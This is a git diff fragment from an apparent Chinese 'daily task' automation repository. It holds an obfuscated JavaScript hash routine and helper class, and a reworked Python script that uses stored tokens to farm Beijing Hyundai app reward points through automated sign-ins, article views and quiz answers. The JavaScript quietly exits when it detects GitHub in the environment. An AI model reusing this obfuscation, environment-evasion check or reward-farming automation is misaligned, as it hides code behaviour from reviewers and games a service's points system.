+ _0x10a932 = _0x3de9dd(_0x10a932, _0x32668a, _0x46d665, _0x269996, _0x5b99ed[_0x2696b2 + 14], _0x12cd3d, 2792965006);
+ _0x269996 = _0x3de9dd(_0x269996, _0x10a932, _0x32668a, _0x46d665, _0x5b99ed[_0x2696b2 + 15], _0x4d6ec0, 1236535329);
+ _0x46d665 = _0x45e2bf(_0x46d665, _0x269996, _0x10a932, _0x32668a, _0x5b99ed[_0x2696b2 + 1], _0x54c5b1, 4129170786);
+ _0x32668a = _0x45e2bf(_0x32668a, _0x46d665, _0x269996, _0x10a932, _0x5b99ed[_0x2696b2 + 6], _0x3f960d, 3225465664);
+ _0x10a932 = _0x45e2bf(_0x10a932, _0x32668a, _0x46d665, _0x269996, _0x5b99ed[_0x2696b2 + 11], _0x24cbf9, 643717713);
+ _0x269996 = _0x45e2bf(_0x269996, _0x10a932, _0x32668a, _0x46d665, _0x5b99ed[_0x2696b2 + 0], _0x57e243, 3921069994);
+ _0x46d665 = _0x45e2bf(_0x46d665, _0x269996, _0x10a932, _0x32668a, _0x5b99ed[_0x2696b2 + 5], _0x54c5b1, 3593408605);
+ _0x32668a = _0x45e2bf(_0x32668a, _0x46d665, _0x269996, _0x10a932, _0x5b99ed[_0x2696b2 + 10], _0x3f960d, 38016083);
+ _0x10a932 = _0x45e2bf(_0x10a932, _0x32668a, _0x46d665, _0x269996, _0x5b99ed[_0x2696b2 + 15], _0x24cbf9, 3634488961);
+ _0x269996 = _0x45e2bf(_0x269996, _0x10a932, _0x32668a, _0x46d665, _0x5b99ed[_0x2696b2 + 4], _0x57e243, 3889429448);
+ _0x46d665 = _0x45e2bf(_0x46d665, _0x269996, _0x10a932, _0x32668a, _0x5b99ed[_0x2696b2 + 9], _0x54c5b1, 568446438);
+ _0x32668a = _0x45e2bf(_0x32668a, _0x46d665, _0x269996, _0x10a932, _0x5b99ed[_0x2696b2 + 14], _0x3f960d, 3275163606);
+ _0x10a932 = _0x45e2bf(_0x10a932, _0x32668a, _0x46d665, _0x269996, _0x5b99ed[_0x2696b2 + 3], _0x24cbf9, 4107603335);
+ _0x269996 = _0x45e2bf(_0x269996, _0x10a932, _0x32668a, _0x46d665, _0x5b99ed[_0x2696b2 + 8], _0x57e243, 1163531501);
+ _0x46d665 = _0x45e2bf(_0x46d665, _0x269996, _0x10a932, _0x32668a, _0x5b99ed[_0x2696b2 + 13], _0x54c5b1, 2850285829);
+ _0x32668a = _0x45e2bf(_0x32668a, _0x46d665, _0x269996, _0x10a932, _0x5b99ed[_0x2696b2 + 2], _0x3f960d, 4243563512);
+ _0x10a932 = _0x45e2bf(_0x10a932, _0x32668a, _0x46d665, _0x269996, _0x5b99ed[_0x2696b2 + 7], _0x24cbf9, 1735328473);
+ _0x269996 = _0x45e2bf(_0x269996, _0x10a932, _0x32668a, _0x46d665, _0x5b99ed[_0x2696b2 + 12], _0x57e243, 2368359562);
+ _0x46d665 = _0x3be045(_0x46d665, _0x269996, _0x10a932, _0x32668a, _0x5b99ed[_0x2696b2 + 5], _0x30fbc2, 4294588738);
+ _0x32668a = _0x3be045(_0x32668a, _0x46d665, _0x269996, _0x10a932, _0x5b99ed[_0x2696b2 + 8], _0x2613fb, 2272392833);
+ _0x10a932 = _0x3be045(_0x10a932, _0x32668a, _0x46d665, _0x269996, _0x5b99ed[_0x2696b2 + 11], _0x1a37d4, 1839030562);
+ _0x269996 = _0x3be045(_0x269996, _0x10a932, _0x32668a, _0x46d665, _0x5b99ed[_0x2696b2 + 14], _0x144bcd, 4259657740);
+ _0x46d665 = _0x3be045(_0x46d665, _0x269996, _0x10a932, _0x32668a, _0x5b99ed[_0x2696b2 + 1], _0x30fbc2, 2763975236);
+ _0x32668a = _0x3be045(_0x32668a, _0x46d665, _0x269996, _0x10a932, _0x5b99ed[_0x2696b2 + 4], _0x2613fb, 1272893353);
+ _0x10a932 = _0x3be045(_0x10a932, _0x32668a, _0x46d665, _0x269996, _0x5b99ed[_0x2696b2 + 7], _0x1a37d4, 4139469664);
+ _0x269996 = _0x3be045(_0x269996, _0x10a932, _0x32668a, _0x46d665, _0x5b99ed[_0x2696b2 + 10], _0x144bcd, 3200236656);
+ _0x46d665 = _0x3be045(_0x46d665, _0x269996, _0x10a932, _0x32668a, _0x5b99ed[_0x2696b2 + 13], _0x30fbc2, 681279174);
+ _0x32668a = _0x3be045(_0x32668a, _0x46d665, _0x269996, _0x10a932, _0x5b99ed[_0x2696b2 + 0], _0x2613fb, 3936430074);
+ _0x10a932 = _0x3be045(_0x10a932, _0x32668a, _0x46d665, _0x269996, _0x5b99ed[_0x2696b2 + 3], _0x1a37d4, 3572445317);
+ _0x269996 = _0x3be045(_0x269996, _0x10a932, _0x32668a, _0x46d665, _0x5b99ed[_0x2696b2 + 6], _0x144bcd, 76029189);
+ _0x46d665 = _0x3be045(_0x46d665, _0x269996, _0x10a932, _0x32668a, _0x5b99ed[_0x2696b2 + 9], _0x30fbc2, 3654602809);
+ _0x32668a = _0x3be045(_0x32668a, _0x46d665, _0x269996, _0x10a932, _0x5b99ed[_0x2696b2 + 12], _0x2613fb, 3873151461);
+ _0x10a932 = _0x3be045(_0x10a932, _0x32668a, _0x46d665, _0x269996, _0x5b99ed[_0x2696b2 + 15], _0x1a37d4, 530742520);
+ _0x269996 = _0x3be045(_0x269996, _0x10a932, _0x32668a, _0x46d665, _0x5b99ed[_0x2696b2 + 2], _0x144bcd, 3299628645);
+ _0x46d665 = _0x50e33f(_0x46d665, _0x269996, _0x10a932, _0x32668a, _0x5b99ed[_0x2696b2 + 0], _0x46473c, 4096336452);
+ _0x32668a = _0x50e33f(_0x32668a, _0x46d665, _0x269996, _0x10a932, _0x5b99ed[_0x2696b2 + 7], _0xbbcc8, 1126891415);
+ _0x10a932 = _0x50e33f(_0x10a932, _0x32668a, _0x46d665, _0x269996, _0x5b99ed[_0x2696b2 + 14], _0x4570a7, 2878612391);
+ _0x269996 = _0x50e33f(_0x269996, _0x10a932, _0x32668a, _0x46d665, _0x5b99ed[_0x2696b2 + 5], _0x5756b9, 4237533241);
+ _0x46d665 = _0x50e33f(_0x46d665, _0x269996, _0x10a932, _0x32668a, _0x5b99ed[_0x2696b2 + 12], _0x46473c, 1700485571);
+ _0x32668a = _0x50e33f(_0x32668a, _0x46d665, _0x269996, _0x10a932, _0x5b99ed[_0x2696b2 + 3], _0xbbcc8, 2399980690);
+ _0x10a932 = _0x50e33f(_0x10a932, _0x32668a, _0x46d665, _0x269996, _0x5b99ed[_0x2696b2 + 10], _0x4570a7, 4293915773);
+ _0x269996 = _0x50e33f(_0x269996, _0x10a932, _0x32668a, _0x46d665, _0x5b99ed[_0x2696b2 + 1], _0x5756b9, 2240044497);
+ _0x46d665 = _0x50e33f(_0x46d665, _0x269996, _0x10a932, _0x32668a, _0x5b99ed[_0x2696b2 + 8], _0x46473c, 1873313359);
+ _0x32668a = _0x50e33f(_0x32668a, _0x46d665, _0x269996, _0x10a932, _0x5b99ed[_0x2696b2 + 15], _0xbbcc8, 4264355552);
+ _0x10a932 = _0x50e33f(_0x10a932, _0x32668a, _0x46d665, _0x269996, _0x5b99ed[_0x2696b2 + 6], _0x4570a7, 2734768916);
+ _0x269996 = _0x50e33f(_0x269996, _0x10a932, _0x32668a, _0x46d665, _0x5b99ed[_0x2696b2 + 13], _0x5756b9, 1309151649);
+ _0x46d665 = _0x50e33f(_0x46d665, _0x269996, _0x10a932, _0x32668a, _0x5b99ed[_0x2696b2 + 4], _0x46473c, 4149444226);
+ _0x32668a = _0x50e33f(_0x32668a, _0x46d665, _0x269996, _0x10a932, _0x5b99ed[_0x2696b2 + 11], _0xbbcc8, 3174756917);
+ _0x10a932 = _0x50e33f(_0x10a932, _0x32668a, _0x46d665, _0x269996, _0x5b99ed[_0x2696b2 + 2], _0x4570a7, 718787259);
+ _0x269996 = _0x50e33f(_0x269996, _0x10a932, _0x32668a, _0x46d665, _0x5b99ed[_0x2696b2 + 9], _0x5756b9, 3951481745);
+ _0x46d665 = _0xa370d4(_0x46d665, _0x193214);
+ _0x269996 = _0xa370d4(_0x269996, _0x446282);
+ _0x10a932 = _0xa370d4(_0x10a932, _0xf3f57a);
+ _0x32668a = _0xa370d4(_0x32668a, _0x4161ad);
+ }
+ var _0x21b4ef = _0x11a6b9(_0x46d665) + _0x11a6b9(_0x269996) + _0x11a6b9(_0x10a932) + _0x11a6b9(_0x32668a);
+ return _0x21b4ef.toLowerCase();
+}
+function _0x57bfb2(_0x2a4acc, _0xf22ac7) {
+ "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0);
+ return new class {
+ constructor(_0x261c25, _0x1aec30) {
+ this.name = _0x261c25;
+ this.notifyStr = "";
+ this.notifyFlag = false;
+ this.startTime = new Date().getTime();
+ Object.assign(this, _0x1aec30);
+ console.log(this.name + " 开始运行:\n");
+ }
+ isNode() {
+ return "undefined" != typeof module && !!module.exports;
+ }
+ isQuanX() {
+ return "undefined" != typeof $task;
+ }
+ isSurge() {
+ return "undefined" != typeof $httpClient && "undefined" == typeof $loon;
+ }
+ isLoon() {
+ return "undefined" != typeof $loon;
+ }
+ getdata(_0x26d05f) {
+ let _0x2341ae = this.getval(_0x26d05f);
+ if (/^@/.test(_0x26d05f)) {
+ const [, _0x5d674e, _0x335555] = /^@(.*?)\.(.*?)$/.exec(_0x26d05f);
+ const _0x53912f = _0x5d674e ? this.getval(_0x5d674e) : "";
+ if (_0x53912f) {
+ try {
+ const _0x4c59b3 = JSON.parse(_0x53912f);
+ _0x2341ae = _0x4c59b3 ? this.lodash_get(_0x4c59b3, _0x335555, "") : _0x2341ae;
+ } catch (_0x4d5e82) {
+ _0x2341ae = "";
+ }
+ }
+ }
+ return _0x2341ae;
+ }
+ setdata(_0x3b8ed9, _0x114bff) {
+ let _0x634249 = false;
+ if (/^@/.test(_0x114bff)) {
+ const [, _0x35934d, _0x3f5201] = /^@(.*?)\.(.*?)$/.exec(_0x114bff);
+ const _0x3ff59a = this.getval(_0x35934d);
+ const _0x2abc27 = _0x35934d ? "null" === _0x3ff59a ? null : _0x3ff59a || "{}" : "{}";
+ try {
+ const _0x5d0f8d = JSON.parse(_0x2abc27);
+ this.lodash_set(_0x5d0f8d, _0x3f5201, _0x3b8ed9);
+ _0x634249 = this.setval(JSON.stringify(_0x5d0f8d), _0x35934d);
+ } catch (_0x2cda18) {
+ const _0x2444de = {};
+ this.lodash_set(_0x2444de, _0x3f5201, _0x3b8ed9);
+ _0x634249 = this.setval(JSON.stringify(_0x2444de), _0x35934d);
+ }
+ } else {
+ _0x634249 = this.setval(_0x3b8ed9, _0x114bff);
+ }
+ return _0x634249;
+ }
+ getval(_0x19e3a4) {
+ return this.isSurge() || this.isLoon() ? $persistentStore.read(_0x19e3a4) : this.isQuanX() ? $prefs.valueForKey(_0x19e3a4) : this.isNode() ? (this.data = this.loaddata(), this.data[_0x19e3a4]) : this.data && this.data[_0x19e3a4] || null;
+ }
+ setval(_0x412c99, _0x2990ef) {
+ return this.isSurge() || this.isLoon() ? $persistentStore.write(_0x412c99, _0x2990ef) : this.isQuanX() ? $prefs.setValueForKey(_0x412c99, _0x2990ef) : this.isNode() ? (this.data = this.loaddata(), this.data[_0x2990ef] = _0x412c99, this.writedata(), true) : this.data && this.data[_0x2990ef] || null;
+ }
+ send(_0x186707, _0x1b5f32, _0x398ba3 = () => {}) {
+ if (_0x186707 != "get" && _0x186707 != "post" && _0x186707 != "put" && _0x186707 != "delete") {
+ console.log("无效的http方法:" + _0x186707);
+ return;
+ }
+ if (_0x186707 == "get" && _0x1b5f32.headers) {
+ delete _0x1b5f32.headers["Content-Type"];
+ delete _0x1b5f32.headers["Content-Length"];
+ } else {
+ if (_0x1b5f32.body && _0x1b5f32.headers) {
+ if (!_0x1b5f32.headers["Content-Type"]) {
+ _0x1b5f32.headers["Content-Type"] = "application/x-www-form-urlencoded";
+ }
+ }
+ }
+ if (this.isSurge() || this.isLoon()) {
+ if (this.isSurge() && this.isNeedRewrite) {
+ _0x1b5f32.headers = _0x1b5f32.headers || {};
+ const _0x5778c3 = {
+ "X-Surge-Skip-Scripting": false
+ };
+ Object.assign(_0x1b5f32.headers, _0x5778c3);
+ }
+ let _0x2a061c = {
+ method: _0x186707,
+ url: _0x1b5f32.url,
+ headers: _0x1b5f32.headers,
+ timeout: _0x1b5f32.timeout,
+ data: _0x1b5f32.body
+ };
+ if (_0x186707 == "get") {
+ delete _0x2a061c.data;
+ }
+ $axios(_0x2a061c).then(_0x58466b => {
+ const {
+ status: _0x1bb117,
+ request: _0x5d2228,
+ headers: _0x1383fb,
+ data: _0x26b800
+ } = _0x58466b;
+ const _0xcbf9b8 = {
+ statusCode: _0x1bb117,
+ headers: _0x1383fb,
+ body: _0x26b800
+ };
+ _0x398ba3(null, _0x5d2228, _0xcbf9b8);
+ }).catch(_0x3360ee => console.log(_0x3360ee));
+ } else {
+ if (this.isQuanX()) {
+ const _0x4cd407 = {
+ hints: false
+ };
+ _0x1b5f32.method = _0x186707.toUpperCase();
+ this.isNeedRewrite && (_0x1b5f32.opts = _0x1b5f32.opts || {}, Object.assign(_0x1b5f32.opts, _0x4cd407));
+ $task.fetch(_0x1b5f32).then(_0x36c813 => {
+ const {
+ statusCode: _0x35f2e8,
+ request: _0x13a4db,
+ headers: _0x5b397c,
+ body: _0x2d2f7f
+ } = _0x36c813;
+ const _0x3788ae = {
+ statusCode: _0x35f2e8,
+ headers: _0x5b397c,
+ body: _0x2d2f7f
+ };
+ _0x398ba3(null, _0x13a4db, _0x3788ae);
+ }, _0x4ab600 => _0x398ba3(_0x4ab600));
+ } else {
+ if (this.isNode()) {
+ this.got = this.got ? this.got : require("got");
+ const {
+ url: _0x1ebe99,
+ ..._0x55dfa7
+ } = _0x1b5f32;
+ const _0xaf2b0f = {
+ followRedirect: false
+ };
+ this.instance = this.got.extend(_0xaf2b0f);
+ this.instance[_0x186707](_0x1ebe99, _0x55dfa7).then(_0x31d4fd => {
+ const {
+ statusCode: _0x5d8929,
+ request: _0x1f2508,
+ headers: _0x5bf0fc,
+ body: _0x4e7ea0
+ } = _0x31d4fd;
+ const _0x208437 = {
+ statusCode: _0x5d8929,
+ headers: _0x5bf0fc,
+ body: _0x4e7ea0
+ };
+ _0x398ba3(null, _0x1f2508, _0x208437);
+ }, _0x34c37e => {
+ const {
+ message: _0x2346c0,
+ request: _0x149230,
+ response: _0x4bf3fe
+ } = _0x34c37e;
+ _0x398ba3(_0x2346c0, _0x149230, _0x4bf3fe);
+ });
+ }
+ }
+ }
+ }
+ time(_0x4b803b, _0x147ff9 = null) {
+ let _0x29e7b9 = _0x147ff9 ? new Date(_0x147ff9) : new Date();
+ let _0x3dc69e = {
+ "M+": _0x29e7b9.getMonth() + 1,
+ "d+": _0x29e7b9.getDate(),
+ "h+": _0x29e7b9.getHours(),
+ "m+": _0x29e7b9.getMinutes(),
+ "s+": _0x29e7b9.getSeconds(),
+ "q+": Math.floor((_0x29e7b9.getMonth() + 3) / 3),
+ S: this.padStr(_0x29e7b9.getMilliseconds(), 3)
+ };
+ /(y+)/.test(_0x4b803b) && (_0x4b803b = _0x4b803b.replace(RegExp.$1, (_0x29e7b9.getFullYear() + "").substr(4 - RegExp.$1.length)));
+ for (let _0x2d0e62 in _0x3dc69e) new RegExp("(" + _0x2d0e62 + ")").test(_0x4b803b) && (_0x4b803b = _0x4b803b.replace(RegExp.$1, 1 == RegExp.$1.length ? _0x3dc69e[_0x2d0e62] : ("00" + _0x3dc69e[_0x2d0e62]).substr(("" + _0x3dc69e[_0x2d0e62]).length)));
+ return _0x4b803b;
+ }
+ async showmsg() {
+ if (!this.notifyFlag) {
+ return;
+ }
+ if (!this.notifyStr) {
+ return;
+ }
+ let _0x48033b = this.name + " 运行通知\n\n" + this.notifyStr;
+ if (_0x1d0ae3.isNode()) {
+ var _0x509ac7 = require("./sendNotify");
+ console.log("\n============== 推送 ==============");
+ await _0x509ac7.sendNotify(this.name, _0x48033b);
+ } else {
+ this.msg(_0x48033b);
+ }
+ }
+ logAndNotify(_0x4b4115, _0x45d5be = true) {
+ if (_0x45d5be) {
+ this.notifyFlag = true;
+ }
+ console.log(_0x4b4115);
+ this.notifyStr += _0x4b4115;
+ this.notifyStr += "\n";
+ }
+ logAndNotifyWithTime(_0xbd3491, _0xba7635 = true) {
+ if (_0xba7635) {
+ this.notifyFlag = true;
+ }
+ let _0x86a0cf = "[" + this.time("hh:mm:ss.S") + "]" + _0xbd3491;
+ console.log(_0x86a0cf);
+ this.notifyStr += _0x86a0cf;
+ this.notifyStr += "\n";
+ }
+ logWithTime(_0x562e40) {
+ console.log("[" + this.time("hh:mm:ss.S") + "]" + _0x562e40);
+ }
+ msg(_0x361412 = t, _0x2c9cb5 = "", _0x100e0d = "", _0x142ca3) {
+ const _0x3b6198 = _0x2f3df8 => {
+ if (!_0x2f3df8) {
+ return _0x2f3df8;
+ }
+ if ("string" == typeof _0x2f3df8) {
+ return this.isLoon() ? _0x2f3df8 : this.isQuanX() ? {
+ "open-url": _0x2f3df8
+ } : this.isSurge() ? {
+ url: _0x2f3df8
+ } : undefined;
+ }
+ if ("object" == typeof _0x2f3df8) {
+ if (this.isLoon()) {
+ let _0x5d6951 = _0x2f3df8.openUrl || _0x2f3df8.url || _0x2f3df8["open-url"];
+ let _0x46d4fa = _0x2f3df8.mediaUrl || _0x2f3df8["media-url"];
+ const _0x4cc6c7 = {
+ openUrl: _0x5d6951,
+ mediaUrl: _0x46d4fa
+ };
+ return _0x4cc6c7;
+ }
+ if (this.isQuanX()) {
+ let _0x452061 = _0x2f3df8["open-url"] || _0x2f3df8.url || _0x2f3df8.openUrl;
+ let _0x411469 = _0x2f3df8["media-url"] || _0x2f3df8.mediaUrl;
+ const _0x649d94 = {
+ "open-url": _0x452061,
+ "media-url": _0x411469
+ };
+ return _0x649d94;
+ }
+ if (this.isSurge()) {
+ let _0x1320bf = _0x2f3df8.url || _0x2f3df8.openUrl || _0x2f3df8["open-url"];
+ const _0x2c43a8 = {
+ url: _0x1320bf
+ };
+ return _0x2c43a8;
+ }
+ }
+ };
+ this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(_0x361412, _0x2c9cb5, _0x100e0d, _0x3b6198(_0x142ca3)) : this.isQuanX() && $notify(_0x361412, _0x2c9cb5, _0x100e0d, _0x3b6198(_0x142ca3)));
+ let _0x4c35c9 = ["", "============== 系统通知 =============="];
+ _0x4c35c9.push(_0x361412);
+ _0x2c9cb5 && _0x4c35c9.push(_0x2c9cb5);
+ _0x100e0d && _0x4c35c9.push(_0x100e0d);
+ console.log(_0x4c35c9.join("\n"));
+ }
+ getMin(_0x4f3cbb, _0x13fec4) {
+ return _0x4f3cbb < _0x13fec4 ? _0x4f3cbb : _0x13fec4;
+ }
+ getMax(_0x4a95e2, _0x54f8d5) {
+ return _0x4a95e2 < _0x54f8d5 ? _0x54f8d5 : _0x4a95e2;
+ }
+ padStr(_0x2bf8c6, _0x76b779, _0x597892 = "0") {
+ let _0x1ec409 = String(_0x2bf8c6);
+ let _0x35b7b1 = _0x76b779 > _0x1ec409.length ? _0x76b779 - _0x1ec409.length : 0;
+ let _0x3bbee5 = "";
+ for (let _0x3f2b38 = 0; _0x3f2b38 < _0x35b7b1; _0x3f2b38++) {
+ _0x3bbee5 += _0x597892;
+ }
+ _0x3bbee5 += _0x1ec409;
+ return _0x3bbee5;
+ }
+ json2str(_0x21e8f4, _0x3854bc, _0x2d77c5 = false) {
+ let _0x84ed67 = [];
+ for (let _0x42f06b of Object.keys(_0x21e8f4).sort()) {
+ let _0x4afe67 = _0x21e8f4[_0x42f06b];
+ if (_0x4afe67 && _0x2d77c5) {
+ _0x4afe67 = encodeURIComponent(_0x4afe67);
+ }
+ _0x84ed67.push(_0x42f06b + "=" + _0x4afe67);
+ }
+ return _0x84ed67.join(_0x3854bc);
+ }
+ str2json(_0x32ebeb, _0x5e0c61 = false) {
+ let _0xcfbf3 = {};
+ for (let _0x28e8f6 of _0x32ebeb.split("&")) {
+ if (!_0x28e8f6) {
+ continue;
+ }
+ let _0x343dda = _0x28e8f6.indexOf("=");
+ if (_0x343dda == -1) {
+ continue;
+ }
+ let _0x4fc3c1 = _0x28e8f6.substr(0, _0x343dda);
+ let _0xda8695 = _0x28e8f6.substr(_0x343dda + 1);
+ if (_0x5e0c61) {
+ _0xda8695 = decodeURIComponent(_0xda8695);
+ }
+ _0xcfbf3[_0x4fc3c1] = _0xda8695;
+ }
+ return _0xcfbf3;
+ }
+ randomPattern(_0x45defe, _0x572e5a = "abcdef0123456789") {
+ let _0x1a359b = "";
+ for (let _0x2b59f5 of _0x45defe) {
+ if (_0x2b59f5 == "x") {
+ _0x1a359b += _0x572e5a.charAt(Math.floor(Math.random() * _0x572e5a.length));
+ } else {
+ _0x2b59f5 == "X" ? _0x1a359b += _0x572e5a.charAt(Math.floor(Math.random() * _0x572e5a.length)).toUpperCase() : _0x1a359b += _0x2b59f5;
+ }
+ }
+ return _0x1a359b;
+ }
+ randomString(_0x11634c, _0xd450c0 = "abcdef0123456789") {
+ let _0x2e19df = "";
+ for (let _0x4a5b8e = 0; _0x4a5b8e < _0x11634c; _0x4a5b8e++) {
+ _0x2e19df += _0xd450c0.charAt(Math.floor(Math.random() * _0xd450c0.length));
+ }
+ return _0x2e19df;
+ }
+ randomList(_0x426a0d) {
+ let _0x548fce = Math.floor(Math.random() * _0x426a0d.length);
+ return _0x426a0d[_0x548fce];
+ }
+ wait(_0x5a1e6c) {
+ return new Promise(_0x512365 => setTimeout(_0x512365, _0x5a1e6c));
+ }
+ async done(_0x2365bc = {}) {
+ await this.showmsg();
+ const _0x14f931 = new Date().getTime();
+ const _0x3ff284 = (_0x14f931 - this.startTime) / 1000;
+ console.log("\n" + this.name + " 运行结束,共运行了 " + _0x3ff284 + " 秒!");
+ if (this.isSurge() || this.isQuanX() || this.isLoon()) {
+ $done(_0x2365bc);
+ }
+ }
+ }(_0x2a4acc, _0xf22ac7);
+}
\ No newline at end of file
diff --git a/daily/bjxd.py b/bjxd.py
similarity index 62%
rename from daily/bjxd.py
rename to bjxd.py
index 974e4d05..fcaca1ae 100644
--- a/daily/bjxd.py
+++ b/bjxd.py
@@ -1,25 +1,21 @@
"""
北京现代 APP 自动任务脚本
功能:自动完成签到、浏览文章、每日答题等任务
-new Env("北京现代");
+new Env("北京现代")
+cron: 25 6 * * *
+
环境变量:
+ BJXD_DEVICE 安卓写android 苹果IOS写iOS
BJXD: str - 北京现代 APP api token (多个账号用英文逗号分隔,建议每个账号一个变量)
BJXD1/BJXD2/BJXD3: str - 北京现代 APP api token (每个账号一个变量)
BJXD_ANSWER: str - 预设答案 (可选, ABCD 中的一个)
- AI_API_KEY: str - 通用 AI APIKey (可选)
- AI_REQUEST_URL: str - 通用 AI 请求 URL (可选)
- AI_MODEL: str - 通用 AI 模型名称 (可选)
- AI_REQUEST_PARAMS: str - 通用 AI 请求参数 (可选, JSON 格式字符串)
- HUNYUAN_API_KEY: str - 腾讯混元AI APIKey (已废弃,不建议使用)
- GLM_API_KEY: str - 智谱 GLM AI APIKey (已废弃,不建议使用)
+ HUNYUAN_API_KEY: str - 腾讯混元AI APIKey (可选)
-cron: 25 6 * * *
"""
import os
import random
import time
-import json
from datetime import datetime
from typing import List, Dict, Any
import requests
@@ -64,12 +60,7 @@ def __init__(self):
self.users: List[Dict[str, Any]] = [] # 所有用户信息列表
self.correct_answer: str = "" # 正确答案
self.preset_answer: str = "" # 预设答案
- self.ai_hunyuan_api_key: str = "" # 腾讯混元AI APIKey(兼容旧环境变量)
- self.ai_glm_api_key: str = "" # 智谱 GLM AI APIKey(兼容旧环境变量)
- self.ai_api_key: str = "" # 通用 AI APIKey
- self.ai_request_url: str = "" # AI 请求地址
- self.ai_model: str = "" # AI 模型
- self.ai_request_params: str = "" # AI 请求参数(JSON字符串格式)
+ self.ai_api_key: str = "" # 腾讯混元AI APIKey
self.wrong_answers: set = set() # 错误答案集合
self.log_content: str = "" # 日志内容
@@ -97,17 +88,16 @@ def make_request(self, method: str, endpoint: str, **kwargs) -> Dict[str, Any]:
Dict[str, Any]: API响应数据
"""
url = f"{self.BASE_URL}{endpoint}"
- headers = {"token": self.token, "device": "iOS", "app-version": "8.31.2"}
+ headers = {"token": self.token, "device": os.getenv("BJXD_DEVICE", "android")}
if "headers" not in kwargs:
kwargs["headers"] = headers
else:
kwargs["headers"].update(headers)
try:
- response = requests.request(method, url, timeout=30, **kwargs)
+ response = requests.request(method, url, **kwargs)
response.raise_for_status()
return response.json()
except requests.exceptions.RequestException as e:
-
self.log(f"❌ API request failed: {str(e)}")
return {"code": -1, "msg": str(e)}
@@ -120,16 +110,16 @@ def get_user_info(self) -> Dict[str, Any]:
response = self.make_request("GET", self.API_USER_INFO)
print(f"get_user_info API response ——> {response}")
- if response.get("code") == 0:
- data = response.get("data", {})
+ if response["code"] == 0:
+ data = response["data"]
# 直接生成掩码后的手机号
- masked_phone = f"{data.get('phone', '')[:3]}******{data.get('phone', '')[-2:]}"
+ masked_phone = f"{data['phone'][:3]}******{data['phone'][-2:]}"
return {
"token": self.token,
- "hid": data.get("hid", ""),
- "nickname": data.get("nickname", ""),
+ "hid": data["hid"],
+ "nickname": data["nickname"],
"phone": masked_phone, # 直接存储掩码后的手机号
- "score_value": data.get("score_value", 0),
+ "score_value": data["score_value"],
"share_user_hid": "",
"task": {"sign": False, "view": False, "question": False},
}
@@ -143,30 +133,29 @@ def get_score_details(self) -> None:
response = self.make_request("GET", self.API_MY_SCORE, params=params)
print(f"get_score_details API response ——> {response}")
- if response.get("code") == 0:
- data = response.get("data", {})
+ if response["code"] == 0:
+ data = response["data"]
# 先获取今日记录
today = datetime.now().strftime("%Y-%m-%d")
- points_record = data.get("points_record", {})
today_records = [
record
- for record in points_record.get("list", [])
- if record.get("created_at", "").startswith(today)
+ for record in data["points_record"]["list"]
+ if record["created_at"].startswith(today)
]
# 计算今日积分变化
today_score = sum(
- int(record.get("score_str", "0").strip("+")) for record in today_records
+ int(record["score_str"].strip("+")) for record in today_records
)
today_score_str = f"+{today_score}" if today_score > 0 else str(today_score)
- self.log(f"🎉 总积分: {data.get('score', 0)} | 今日积分变动: {today_score_str}")
+ self.log(f"🎉 总积分: {data['score']} | 今日积分变动: {today_score_str}")
# 输出今日积分记录
if today_records:
self.log("今日积分记录:")
for record in today_records:
self.log(
- f"{record.get('created_at', '')} {record.get('desc', '')} {record.get('score_str', '')}"
+ f"{record['created_at']} {record['desc']} {record['score_str']}"
)
else:
self.log("今日暂无积分变动")
@@ -177,8 +166,8 @@ def check_task_status(self, user: Dict[str, Any]) -> None:
response = self.make_request("GET", self.API_TASK_LIST)
print(f"get_task_status API response ——> {response}")
- if response.get("code") != 0:
- self.log(f'❌ 获取任务列表失败: {response.get("msg", "未知错误")}')
+ if response["code"] != 0:
+ self.log(f'❌ 获取任务列表失败: {response["msg"]}')
return
actions = response.get("data", {})
@@ -212,17 +201,17 @@ def get_sign_info(self) -> None:
response = self.make_request("GET", self.API_SIGN_LIST)
print(f"get_sign_info (attempt {attempt + 1}) API response ——> {response}")
- if response.get("code") != 0:
- self.log(f'❌ 获取签到列表失败: {response.get("msg", "未知错误")}')
+ if response["code"] != 0:
+ self.log(f'❌ 获取签到列表失败: {response["msg"]}')
break
- data = response.get("data", {})
- hid = data.get("hid", "")
- reward_hash = data.get("rewardHash", "")
+ data = response["data"]
+ hid = data["hid"]
+ reward_hash = data["rewardHash"]
- for item in data.get("list", []):
- if item.get("hid") == hid:
- current_score = item.get("score", 0)
+ for item in data["list"]:
+ if item["hid"] == hid:
+ current_score = item["score"]
print(
f"第{attempt + 1}次获取签到列表: score={current_score} hid={hid} rewardHash={reward_hash}"
)
@@ -256,10 +245,10 @@ def submit_sign(self, hid: str, reward_hash: str, score: int) -> None:
response = self.make_request("POST", self.API_SIGN_SUBMIT, json=json_data)
print(f"submit_sign API response ——> {response}")
- if response.get("code") == 0:
+ if response["code"] == 0:
self.log(f"✅ 签到成功 | 积分 +{score}")
else:
- self.log(f'❌ 签到失败: {response.get("msg", "未知错误")}')
+ self.log(f'❌ 签到失败: {response["msg"]}')
# 文章浏览相关
def get_article_list(self) -> List[str]:
@@ -272,30 +261,19 @@ def get_article_list(self) -> List[str]:
response = self.make_request("GET", self.API_ARTICLE_LIST, params=params)
print(f"get_article_list API response ——> {response}")
- if response.get("code") == 0:
+ if response["code"] == 0:
# 从文章列表中随机选择3个ID
- data = response.get("data", {})
- article_list = [item.get("data_id", "") for item in data.get("list", []) if item.get("data_id")]
+ article_list = [item["data_id"] for item in response["data"]["list"]]
return random.sample(article_list, min(3, len(article_list)))
- self.log(f'❌ 获取文章列表失败: {response.get("msg", "未知错误")}')
+ self.log(f'❌ 获取文章列表失败: {response["msg"]}')
return []
def get_article_detail(self, article_id: str) -> None:
"""浏览文章"""
self.log(f"浏览文章 article_id: {article_id}")
endpoint = self.API_ARTICLE_DETAIL.format(article_id)
- try:
- # 调用make_request访问文章详情
- response = self.make_request("GET", endpoint)
- # 记录响应状态,便于调试
- if response.get("code") == -1:
- self.log(f"⚠️ 文章浏览异常: {response.get('msg', '未知错误')}")
- else:
- self.log(f"✅ 文章浏览成功")
- except Exception as e:
- # 捕获所有可能的异常,确保脚本不会在此处中断
- self.log(f"❌ 文章浏览过程中发生异常: {str(e)}")
+ self.make_request("GET", endpoint)
def submit_article_score(self) -> None:
"""提交文章积分"""
@@ -308,12 +286,11 @@ def submit_article_score(self) -> None:
)
print(f"submit_article_score API response ——> {response}")
- if response.get("code") == 0:
- data = response.get("data", {})
- score = data.get("score", 0)
+ if response["code"] == 0:
